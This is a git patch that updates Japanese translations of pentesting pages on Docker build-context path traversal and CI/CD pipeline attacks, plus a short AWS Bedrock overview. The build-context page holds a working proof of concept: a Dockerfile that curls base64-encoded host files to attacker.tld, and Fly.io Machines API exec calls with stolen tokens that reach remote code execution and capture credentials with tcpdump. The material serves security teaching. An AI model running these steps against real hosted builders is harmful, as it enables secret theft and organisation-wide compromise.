From 1d349ec92c6d4cfb6a2e2e8286da9672e243cdd5 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:31:52 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 54 +++++------ .../pentesting-ci-cd-methodology.md | 95 ++++++++++--------- .../aws-services/aws-bedrock-enum.md | 2 +- 3 files changed, 76 insertions(+), 75 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index a645568b0..99e4a4466 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -1,29 +1,29 @@ -# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) +# ホストされたビルダーでの Docker ビルドコンテキストの悪用 (Path Traversal, Exfil, and Cloud Pivot) {{#include ../banners/hacktricks-training.md}} ## TL;DR -If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE. +CI/CD プラットフォームやホストされた builder が貢献者に Docker ビルドコンテキストパスと Dockerfile パスの指定を許す場合、コンテキストを親ディレクトリ（例: ".."）に設定してホスト上のファイルをビルドコンテキストに含めることがしばしば可能です。すると、攻撃者制御下の Dockerfile は COPY してビルダーのユーザホームにある secrets（例: ~/.docker/config.json）を exfiltrate できます。盗まれた registry tokens はプロバイダの control-plane APIs に対しても有効になり、組織全体の RCE を引き起こす可能性があります。 -## 攻撃対象 +## 攻撃面 -多くの hosted builder/registry サービスは、ユーザーが提出したイメージをビルドするときに概ね次のような処理を行います: -- Read a repo-level config that includes: -- build context path (sent to the Docker daemon) -- Dockerfile path relative to that context -- Copy the indicated build context directory and the Dockerfile to the Docker daemon -- Build the image and run it as a hosted service +多くのホストされた builder/registry サービスは、ユーザー提出のイメージをビルドする際に概ね次の処理を行います: +- repo-level config を読み、その中に以下を含む: + - build context path（Docker daemon に送られる） + - Dockerfile path（そのコンテキストからの相対パス） +- 指定された build context ディレクトリと Dockerfile を Docker daemon にコピーする +- イメージをビルドし、ホストされたサービスとして実行する -プラットフォームが build context を canonicalize して制限しない場合、ユーザーはそれをリポジトリ外の場所（path traversal）に設定でき、build user によって読み取れる任意のホストファイルが build context の一部になり、Dockerfile の COPY で利用可能になります。 +プラットフォームが build context を正規化および制限しない場合、ユーザはそれをリポジトリ外の場所（path traversal）に設定でき、ビルドユーザが読み取れる任意のホストファイルがビルドコンテキストの一部となり、Dockerfile で COPY 可能になります。 -一般的に観察される実用的な制約: -- The Dockerfile must reside within the chosen context path and its path must be known ahead of time. -- The build user must have read access to files included in the context; special device files can break the copy. +実際によくある制約: +- Dockerfile は選択したコンテキストパス内に存在し、そのパスは事前に知られている必要がある。 +- ビルドユーザはコンテキストに含めるファイルに対して読み取り権限を持っている必要がある。特殊なデバイスファイルはコピーを壊す可能性がある。 -## PoC: Path traversal via Docker build context +## PoC: Docker build context を介した Path traversal -Example malicious server config declaring a Dockerfile within the parent directory context: +親ディレクトリのコンテキスト内に Dockerfile を宣言する悪意あるサーバ設定の例: ```yaml runtime: "container" build: @@ -41,10 +41,10 @@ exampleConfig: apiKey: "sk-example123" ``` 注意: -- ".." を使用すると多くの場合 builder ユーザーのホーム (例: /home/builder) に解決され、通常機密ファイルが含まれます。 -- Dockerfile をリポジトリのディレクトリ名の下に配置してください (例: repo "test" → test/Dockerfile)。そうすることで展開された親コンテキスト内に留まります。 +- 「..」を使用すると、しばしば builder ユーザーのホーム（例: /home/builder）に解決されます。そこには通常、機密ファイルが含まれます。 +- Dockerfile はリポジトリのディレクトリ名の下に置いてください（例: repo "test" → test/Dockerfile）。そうすることで展開された親コンテキスト内に留まります。 -## PoC: Dockerfile を使ってホストコンテキストを ingest and exfiltrate する +## PoC: Dockerfile によるホストコンテキストの ingest と exfiltrate ```dockerfile FROM alpine RUN apk add --no-cache curl @@ -54,13 +54,13 @@ RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` Targets commonly recovered from $HOME: - ~/.docker/config.json (registry auths/tokens) -- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- その他のクラウド/CLI キャッシュおよび設定 (例: ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -Tip: リポジトリに .dockerignore が存在していても、脆弱なプラットフォーム側のコンテキスト選択がデーモンに送信される内容を制御します。プラットフォームが選択したパスをリポジトリの .dockerignore を評価する前にデーモンへコピーする場合、ホストファイルが露出する可能性があります。 +Tip: リポジトリに .dockerignore があっても、脆弱なプラットフォーム側のコンテキスト選択が daemon に送られる内容を制御します。プラットフォームが選択したパスをあなたのリポジトリの .dockerignore を評価する前に daemon にコピーする場合、ホストファイルが依然として露出する可能性があります。 -## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) +## 過剰権限のトークンでのクラウドピボット (example: Fly.io Machines API) -一部のプラットフォームは、コンテナレジストリとコントロールプレーンAPIの両方で使用可能な単一のベアラートークンを発行します。レジストリトークンを流出させた場合は、それをプロバイダの API に対して試してみてください。 +一部のプラットフォームは、container registry と control-plane API の両方で使用可能な単一の bearer token を発行します。もし you exfiltrate a registry token, try it against the provider API. Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: @@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -Outcome: トークンに十分な権限がある場合、すべての hosted apps に対して組織全体での remote code execution を達成できる。 +結果：token が十分な権限を持つ場合、組織全体にわたってホストされているアプリすべてで remote code execution を実行できます。 -## 侵害された hosted services からの Secret 窃取 +## 侵害されたホスティングサービスからの機密情報窃取 -exec/RCE を hosted servers 上で得ると、client-supplied secrets（API keys、tokens）を回収したり、prompt-injection 攻撃を仕掛けたりできる。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、受信 credentials を抽出する。 +hosted servers 上で exec/RCE を得ると、クライアントが提供した機密（API keys、tokens）を収集したり、prompt-injection 攻撃を仕掛けたりできます。例: tcpdump をインストールして port 8080 の HTTP トラフィックをキャプチャし、着信認証情報を抽出します。 ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -Captured requests には、headers、bodies、または query params に client credentials が含まれていることがよくあります。 +キャプチャしたリクエストには、ヘッダー、本文、またはクエリパラメータにクライアント認証情報が含まれていることがよくあります。 -## 参考資料 +## References - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) - [Fly.io Machines API](https://fly.io/docs/machines/api/) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 9a8513070..1486a3d73 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,50 +6,51 @@ ## VCS -VCS は **Version Control System** の略で、開発者が **ソース code を管理する** ためのシステムです。最も一般的なのは **git** で、企業では通常次のいずれかの **platforms** を利用しています: +VCS は **Version Control System** の略で、開発者が **source code** を管理するためのシステムです。最も一般的なのは **git** で、企業では通常次のような **platforms** のいずれかで使われています: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Cloud providers（独自の VCS プラットフォームを提供していることが多い） +- Cloud providers (they offer their own VCS platforms) -## CI/CD Pipelines -CI/CD pipelines は開発者が **code の実行を自動化する** のに使われます。ビルド、テスト、デプロイなどを目的として、コードの push、pull request、スケジュールされたタスクなどの **特定のアクションでトリガー** される自動化ワークフローです。開発から本番までのプロセスを効率化します。 +## CI/CD パイプライン -しかし、これらのシステムはどこかで **実行される必要があり**、通常は **code をデプロイしたり機密情報へアクセスするための特権的な資格情報を使って実行される** ことが多いです。 +CI/CD pipelines は、ビルド、テスト、デプロイなどの目的で **code** の実行を自動化するための仕組みです。これらの自動化ワークフローは、コードの push、pull request、スケジュールされたタスクなどの特定のアクションによって **trigger** されます。開発から本番までの流れを効率化するために役立ちます。 + +しかし、これらのシステムはどこかで **実行される必要** があり、通常は **privileged credentials を使って code をデプロイしたり機密情報にアクセスしたり** します。 ## VCS Pentesting Methodology > [!NOTE] -> 一部の VCS platforms がパイプライン作成を許可している場合でも、このセクションではソース code のコントロールに対する潜在的な攻撃のみを分析します。 +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -プロジェクトの source が含まれるプラットフォームには機密情報が存在する可能性があり、プラットフォーム内で付与される権限には細心の注意が必要です。攻撃者が悪用できる VCS プラットフォーム全般の一般的な問題点は次のとおりです: +プロジェクトの source code を含むプラットフォームには機密情報が含まれることが多く、権限の扱いには細心の注意が必要です。攻撃者が悪用できる VCS プラットフォーム全般で見られる一般的な問題をいくつか挙げます: -- **Leaks**: もしあなたの code がコミット内に leaks を含んでおり、攻撃者がリポジトリにアクセスできる（公開されている、あるいはアクセス権がある）場合、攻撃者はそれらの leaks を発見できます。 -- **Access**: 攻撃者が VCS platform 内のアカウントへアクセスできれば、**より多くの可視性や権限** を得る可能性があります。 -- **Register**: 一部のプラットフォームは外部ユーザがアカウントを作成できてしまいます。 -- **SSO**: ユーザ登録を許可しないプラットフォームでも、有効な SSO であれば誰でもアクセスできる場合があり（例: 攻撃者が自身の github アカウントでログインする）、これが攻撃経路になります。 -- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies... ユーザが盗めるトークン類はさまざまです。 -- **Webhooks**: VCS platforms は webhooks を生成できます。これらが可視化されない secret で保護されていない場合、**攻撃者が悪用する** 可能性があります。 - - secret が設定されていない場合、攻撃者はサードパーティプラットフォームの webhook を悪用できます。 - - secret が URL に含まれている場合、同様に攻撃者はその URL と secret を入手できます。 -- **Code compromise:** 悪意ある者がリポジトリに対して何らかの **write 権限** を持っている場合、**悪意あるコードを注入** することが可能です。成功させるには **branch protections をバイパス** する必要がある場合があります。これらの行為は目的がいくつか考えられます: - - main ブランチを改ざんして **production を侵害** する。 - - main（または他のブランチ）を改ざんして **開発者のマシンを侵害** する（開発者は通常リポジトリ内でテスト、terraform 等を実行するため）。 -- **Compromise the pipeline**（次節を参照） +- **Leaks**: repo にコミット内の leaks が含まれていて、攻撃者が repo にアクセスできる（公開されている、あるいはアクセス権を持っている）場合、leaks を発見できてしまいます。 +- **Access**: 攻撃者が VCS platform 内のアカウントに **アクセスできれば**、より多くの可視性や権限を得られます。 +- **Register**: 一部のプラットフォームでは外部ユーザがアカウントを作成できます。 +- **SSO**: 一部のプラットフォームはユーザ登録を許可しない代わりに、有効な SSO であれば誰でもアクセスできるようになっていることがあります（例: 攻撃者が自分の github アカウントでログインできるなど）。 +- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies… リポジトリにアクセスするために盗まれうるトークンの種類は多数あります。 +- **Webhooks**: VCS platforms は webhooks を生成できます。non visible secrets で保護されていない場合、**攻撃者が悪用する可能性**があります。 +- If no secret is in place, the attacker could abuse the webhook of the third party platform +- If the secret is in the URL, the same happens and the attacker also have the secret +- **Code compromise:** 悪意ある主体が repo に対して何らかの **write** アクセスを持っている場合、**malicious code** を注入しようとする可能性があります。成功させるためには **branch protections をバイパス** する必要があるかもしれません。これらの行為はさまざまな目的で行われます: + - main branch を破壊して **production を compromise** する。 + - main（または他のブランチ）を破壊して **developers のマシンを compromise** する（開発者は通常リポジトリ内で test、terraform 等を自分のマシンで実行するため）。 + - **Compromise the pipeline**（次のセクションを参照） ## Pipelines Pentesting Methodology -パイプラインを定義する最も一般的な方法は、ビルドするリポジトリにホストされる **CI 設定ファイル** を使うことです。このファイルは実行されるジョブの順序、フローに影響する条件、ビルド環境の設定などを記述します。\ -これらのファイルは一貫した名前とフォーマットを持つことが多く、例えば Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)、および .github/workflows 以下にある GitHub Actions の YAML ファイルなどがあります。トリガーされると、パイプラインジョブは選択されたソース（例: commit / branch）から **コードを pull し**、そして **CI 設定ファイルで指定されたコマンドをそのコードに対して実行** します。 +パイプラインを定義する最も一般的な方法は、**repository にホストされた CI configuration file** を使うことです。このファイルは実行されるジョブの順序、フローに影響する条件、ビルド環境の設定を記述します。\ +これらのファイルは通常一貫した名前とフォーマットを持ちます（例: Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)、.github/workflows 以下の GitHub Actions の YAML ファイル）。トリガーされると、パイプラインジョブは選択されたソース（例: commit / branch）から **code を pull** し、CI configuration file に指定されたコマンドをその code に対して **実行します**。 -したがって、攻撃者の最終的な目的は何らかの方法でこれらの設定ファイルか、設定ファイルが実行する **コマンドを侵害する** ことです。 +したがって、攻撃者の究極の目的は、これらの configuration files、あるいはそれらが実行するコマンドを何らかの形で **compromise** することです。 > [!TIP] -> 一部の hosted builders はコントリビュータに Docker build context と Dockerfile のパスを選ばせます。context が攻撃者にコントロールされている場合、repo の外（例: ".."）を指定してビルド中にホストファイルを取り込み、シークレットを外部へ持ち出す（exfiltrate）ことができます。参照: +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: > >{{#ref}} >docker-build-context-abuse.md @@ -57,53 +58,53 @@ CI/CD pipelines は開発者が **code の実行を自動化する** のに使 ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) パスは、SCM リポジトリ内の権限を悪用して CI パイプラインを操作し、悪意のあるコマンドを実行させる手法です。必要な権限を持つユーザは CI 設定ファイルやパイプラインジョブで使用される他のファイルを変更して悪意あるコマンドを含めることができます。この操作がパイプラインを「poison」し、これらの悪意あるコマンドが実行されます。 +Poisoned Pipeline Execution (PPE) パスは、SCM repository の権限を悪用して CI pipeline を操作し、悪意あるコマンドを実行させる手法です。必要な権限を持つユーザは CI configuration file や pipeline job が利用する他のファイルを修正して悪意あるコマンドを含めることができます。これにより CI pipeline が「poison」され、これらの悪意あるコマンドが実行されます。 -攻撃者が PPE 攻撃を成功させるには次の条件が必要になることが多いです: +攻撃者が PPE を成功させるには次の条件が必要です: -- 通常、パイプラインは push や pull request 時にトリガーされるため、**VCS platform への write 権限** を持っていること。（アクセス取得手段の概要は VCS pentesting methodology を参照） -- 外部 PR が「write 権限」とみなされる場合がある点に注意。 -- write 権限があっても、CI 設定ファイルや設定が依存する他のファイルを **修正できること** を確認する必要がある。 -- これには branch protections を **バイパス** する能力が必要な場合がある。 +- **VCS platform への write access を持っていること**。通常パイプラインは push や pull request が行われたときにトリガーされます。（VCS pentesting methodology セクションでアクセス獲得の方法をまとめています） +- 場合によっては **external PR が "write access" と見なされる**ことがあります。 +- 書き込み権限を持っていても、CI config file やその config が依存している他のファイルを**実際に変更できること**を確認する必要があります。 +- そのために **branch protections をバイパス**する必要があるかもしれません。 -PPE には 3 つの派生があります: +PPE には 3 つのバリエーションがあります: -- **D-PPE**: CI 設定ファイル自体を直接 **修正する** 場合の Direct PPE。 -- **I-DDE**: CI 設定ファイルが **依存しているファイル**（makefile や terraform コンフィグなど）を **修正する** 間接的な攻撃。 -- **Public PPE or 3PE**: 場合によっては、リポジトリへの write 権限がないユーザ（組織のメンバーでないユーザを含む）が PR を送ることでパイプラインをトリガーできることがある。 -- **3PE Command Injection**: 多くの CI/CD パイプラインは PR に関する情報を **環境変数** に設定します。もしその値を攻撃者がコントロールでき（例: PR のタイトル）、かつそれが危険な場所（sh コマンドの実行など）で利用される場合、攻撃者は **コマンドインジェクション** を行える可能性があります。 +- **D-PPE**: actor が実行される CI config file 自体を **直接変更** する場合（Direct PPE）。 +- **I-DDE**: actor が CI config file が依存する **別の file**（make file や terraform config など）を **間接的に変更**する場合（Indirect PPE）。 +- **Public PPE or 3PE**: 場合によってはパイプラインが repo に対する write access を持たないユーザ（組織のメンバーでない可能性もある）が PR を送ることで **トリガーされる**ことがあります。 +- **3PE Command Injection**: 通常、CI/CD pipelines は PR に関する情報を **environment variables** に設定します。その値が攻撃者によって制御可能（例: PR のタイトル）で、かつそれが **危険な場所**（例: **sh commands** の実行）で **使用される**場合、攻撃者はそこへ **コマンドを注入**する可能性があります。 ### Exploitation Benefits -PPE の 3 種類を理解した上で、成功した場合に攻撃者が得られるものを確認します: +PPE の 3 種類を理解した上で、成功した場合に攻撃者が得られるものを見てみましょう: -- **Secrets**: 前述の通り、パイプラインのジョブはコードの取得、ビルド、デプロイなどのために **特権** を必要とし、これらの特権は通常 **シークレット** として付与されています。これらのシークレットは **環境変数やシステム内のファイル** 経由でアクセス可能なことが多いため、攻撃者は可能な限りシークレットを exfiltrate しようとします。 -- パイプラインプラットフォームによっては、攻撃者がシークレットを使うために設定ファイル内で明示的に指定する必要がある場合があります。そのため、攻撃者が CI 設定を修正できない（例: I-PPE）場合、攻撃者はそのパイプラインがすでに持っているシークレットしか exfiltrate できないことがあります。 -- **計算リソース**: code がどこかで実行されるため、実行場所次第で攻撃者は横展開できる可能性があります。 -- **オンプレミス**: パイプラインがオンプレミスで実行される場合、攻撃者は内部ネットワークに到達し、より多くのリソースへアクセスできる可能性があります。 -- **Cloud**: 攻撃者はクラウド内の他のマシンにアクセスしたり、IAM roles / service accounts のトークンを exfiltrate してクラウド内でさらに権限を拡大する可能性があります。 -- **プラットフォーム側のマシン**: ジョブがパイプラインプラットフォームのマシン上で実行される場合、それらは通常クラウド内にあり、追加のアクセス権が特にないこともあります。 -- **実行環境の選択**: 一部のパイプラインプラットフォームは複数の実行マシンを持っており、CI 設定ファイルを修正できれば「どのマシンで悪意あるコードを実行するか」を指定できることがあります。この場合、攻撃者は各候補マシンにリバースシェルを展開して追加の脆弱性を探すでしょう。 -- **Production の侵害**: パイプライン内に入り、最終的なビルドやデプロイがそこから行われる場合、production で実行される code を直接侵害できます。 +- **Secrets**: 先述の通り、パイプラインのジョブは code を取得し、ビルドやデプロイを行うために **privileges** を必要とし、これらの権限は通常 **secrets** として与えられます。これらの secrets は **env variables やシステム内のファイル** を通じてアクセス可能であることが多く、したがって攻撃者は可能な限り多くの secrets を exfiltrate しようとします。 +- パイプラインプラットフォームによっては attacker が config 内で secrets を指定する必要がある場合があります。つまり、攻撃者が CI configuration を変更できない場合（例: I-PPE）、その場合は**そのパイプラインが持つ secrets のみ**を exfiltrate できるにとどまります。 +- **Computation**: code はどこかで実行されます。実行される場所次第で攻撃者はさらに pivot できる可能性があります。 +- **On-Premises**: パイプラインがオンプレミスで実行されている場合、攻撃者は **内部ネットワーク** に入り、より多くのリソースへアクセスできる可能性があります。 +- **Cloud**: 攻撃者はクラウド内の他のマシンへアクセスできるだけでなく、そこで IAM roles / service accounts の tokens を exfiltrate してクラウド内でさらに権限を拡大する可能性があります。 +- **Platforms machine**: 時にはジョブが pipelines platform のマシン内で実行されることがあり、これらは通常より限定的なアクセスしか持たないクラウド内のマシンであることが多いです。 +- **Select it:** パイプラインプラットフォームが複数のマシンを用意している場合、CI configuration file を変更できれば **どのマシンで悪意ある code を実行するかを指定できる**ことがあります。この場合、攻撃者は各マシンでリバースシェルを実行してさらなる攻撃を試みるでしょう。 +- **Compromise production**: パイプライン内に侵入し、最終版がそこからビルド・デプロイされる場合、本番で動作する code を compromise できます。 ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) は、ソフトウェアサプライチェーンのセキュリティコンプライアンスを監査するオープンソースツールで、新しい [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) に基づいています。監査は SDLC 全体に焦点を当て、コード作成時からデプロイ時までのリスクを明らかにします。 +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) は、CIS Software Supply Chain benchmark に基づき、ソフトウェアサプライチェーンのセキュリティ準拠性を監査するオープンソースツールです。監査はSDLC全体に焦点を当て、code の時点からデプロイ時点までのリスクを明らかにします。 ### Top 10 CI/CD Security Risk -Cider による CI/CD のトップ10リスクに関する興味深い記事を確認してください: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider による CI/CD の上位 10 のリスクに関する興味深い記事を参照してください: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- 各プラットフォームでローカル実行できるものについては、ローカルで起動する手順が記載されており、自由に設定してテストできます。 +- ローカルで実行できる各プラットフォームについて、ローカル起動方法が記載されているので、自由に設定してテストできます - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** は Infrastructure-as-Code 向けの静的解析ツールです。 +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** は infrastructure-as-code 向けの static code analysis ツールです。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 441387bba..0c058ea92 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## 概要 -Amazon Bedrockは、主要なAIスタートアップやAmazonのファウンデーションモデル（FMs）を利用して、生成AIアプリケーションの構築とスケーリングを容易にするフルマネージドサービスです。Bedrockは単一のAPIを通じて様々なFMへのアクセスを提供し、開発者は基盤となるインフラを管理することなく、特定のユースケースに最適なモデルを選択できます。 +Amazon Bedrockは、主要なAIスタートアップやAmazonが提供するファウンデーションモデル (FMs) を活用して、生成AIアプリケーションを簡単に構築・スケールできるフルマネージドサービスです。Bedrockは単一のAPIを通じてさまざまなFMへのアクセスを提供し、開発者が基盤となるインフラストラクチャを管理することなく、特定のユースケースに最適なモデルを選択できるようにします。 ## Post Exploitation